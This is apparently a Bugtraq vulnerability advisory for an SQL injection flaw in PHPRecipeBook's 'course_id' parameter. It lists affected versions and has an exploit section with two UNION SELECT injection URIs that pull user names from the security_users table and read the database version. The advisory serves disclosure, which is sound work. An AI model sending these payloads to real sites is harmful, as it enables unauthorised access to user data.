PHPRecipeBook 'course_id' Parameter SQL Injection Vulnerability
BID:34073
Info
PHPRecipeBook 'course_id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 34073 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 10 2009 12:00AM |
| Updated: | Mar 12 2009 05:36PM |
| Credit: | d3b4g |
| Vulnerable: |
PHPRecipeBook PHPRecipeBook 2.18 PHPRecipeBook PHPRecipeBook 2.17 PHPRecipeBook PHPRecipeBook 2.16 PHPRecipeBook PHPRecipeBook 2.15 PHPRecipeBook PHPRecipeBook 2.14 PHPRecipeBook PHPRecipeBook 2.13 PHPRecipeBook PHPRecipeBook 2.12 PHPRecipeBook PHPRecipeBook 2.11 PHPRecipeBook PHPRecipeBook 2.10 PHPRecipeBook PHPRecipeBook 2.0 6 PHPRecipeBook PHPRecipeBook 2.0 5 PHPRecipeBook PHPRecipeBook 2.0 4 PHPRecipeBook PHPRecipeBook 1.31 PHPRecipeBook PHPRecipeBook 1.30 a PHPRecipeBook PHPRecipeBook 1.30 PHPRecipeBook PHPRecipeBook 1.27 a PHPRecipeBook PHPRecipeBook 1.27 PHPRecipeBook PHPRecipeBook 1.26 a PHPRecipeBook PHPRecipeBook 1.26 PHPRecipeBook PHPRecipeBook 1.25 PHPRecipeBook PHPRecipeBook 1.24 PHPRecipeBook PHPRecipeBook 2.24 |
| Not Vulnerable: | |
Discussion
PHPRecipeBook 'course_id' Parameter SQL Injection Vulnerability
PHPRecipeBook is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHPRecipeBook 2.24 is vulnerable; other versions may also be affected.
PHPRecipeBook is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHPRecipeBook 2.24 is vulnerable; other versions may also be affected.
Exploit / POC
PHPRecipeBook 'course_id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/[path]/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,user_name,4,5,6,7+from+security_users--
http://www.example.com/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,concat(0x3a,@@version),4,5,6,7+from+security_users--
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/[path]/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,user_name,4,5,6,7+from+security_users--
http://www.example.com/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,concat(0x3a,@@version),4,5,6,7+from+security_users--
Solution / Fix
PHPRecipeBook 'course_id' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHPRecipeBook 'course_id' Parameter SQL Injection Vulnerability
References:
References:
- PHPRecipeBook Project Home Page (PHPRecipeBook)